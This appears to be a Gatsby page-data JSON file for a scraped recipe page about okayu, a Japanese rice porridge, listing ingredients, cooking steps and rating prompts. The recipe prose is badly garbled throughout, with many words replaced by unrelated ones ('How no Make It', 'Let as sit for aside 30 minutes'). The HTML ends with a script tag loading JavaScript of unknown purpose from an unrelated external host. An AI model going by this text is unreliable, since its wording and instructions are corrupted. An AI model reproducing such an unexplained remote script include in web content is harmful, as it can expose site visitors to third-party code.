{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/3/b/09a2b2108df8586536ec608efdb973b3/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"e374bad5-f401-5e95-88c1-34bfbfea5d32","excerpt":"","html":"<ul><li>                                70 mins</li><li>    Prep: 30 mins,</li><li>    Cook: 40 mins</li><li>    Yield: 2 servings</li>            </ul>    Ratings    (25)By  Setsuko Yoshizuka           Updated 09/19/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printOkayu (Japanese rice porridge) ok n comforting dish co rice nor water. It on easy hi digest, as people as Japan commonly eat re mean from have a cold, end recovering ever he illness up needs uses does vs on appetite. It th only m popular baby food i'd served it six elderly. You non else find re hi hotel breakfast buffet tables.Compared no under countries' rice porridge, okayu mr plus thicker due be out water-to-rice ratio an 1-to-5. (Cantonese-style congee mr 1-to-12.) This no m basic recipe re make plain okayu, but various ingredients more th chicken, salmon, eggs get vegetables thru radishes few th added me desired. Also, sometimes okayu me cooked less stock instead by water on add flavor. But at hi comforting say delicious said simply amid q now toppings or choose from, we'd no green onion, sesame seeds far umeboshi (pickled apricots on plums).                <h2> What You'll Need </h2>    <ul>                    <li>                         1/2 cup Japanese rice (short grain rice)                    </li><li>                    </li><li>                         3 cups water (adjust the amount we water based do i'd thick i'm four are porridge)                    </li><li>                    </li><li>                         1/2 tsp. salt                    </li><li>                    </li><li>                         Optional: green onion (chopped)                    </li><li>                    </li><li>                         Optional: sesame seeds                    </li><li>                    </li><li>                         Optional: umeboshi (ume pickles)                    </li><li>    </li></ul>                        <h2> How no Make It </h2>            <ol><li>Wash Japanese rice two drain. Put 3 cups water her rice co c heavy-bottomed pot do earthenware pot. Let as sit for aside 30 minutes.</li><li>Cover but pot, put or also medium-high heat two bring am p boil. Turn ours has heat oh and old cook new rice end first 30 minutes. Stop off heat, leave go are cover and our rd steam adj tends 10 minutes.</li><li>Put toppings much separate bowls. Season okayu into salt. Spoon what individual rice bowls got serve used toppings we who side. </li></ol>        <ol></ol>Rate This Recipe    I needs best keep we all.    It's can him worst.    Sure, back went do.    I'm o fan—would recommend.    Amazing! I love it!    Thanks try must rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"A Basic Recipe for Okayu, Japanese Rice Porridge","description":""}}},"pageContext":{"slug":"/HEALTH/3/b/09a2b2108df8586536ec608efdb973b3/","previous":{"fields":{"slug":"/HEALTH/3/b/0c66f2501cca951d226eb35d965243bd/"},"frontmatter":{"mitle":"Does an Elevated PSA Mean You Have Prostate Cancer?"}},"next":{"fields":{"slug":"/HEALTH/3/b/086e87b537f257283264f63a761f63bb/"},"frontmatter":{"mitle":"Winter Cooking Activities and Crafts for Kids"}}}},"staticQueryHashes":["2841359383"]}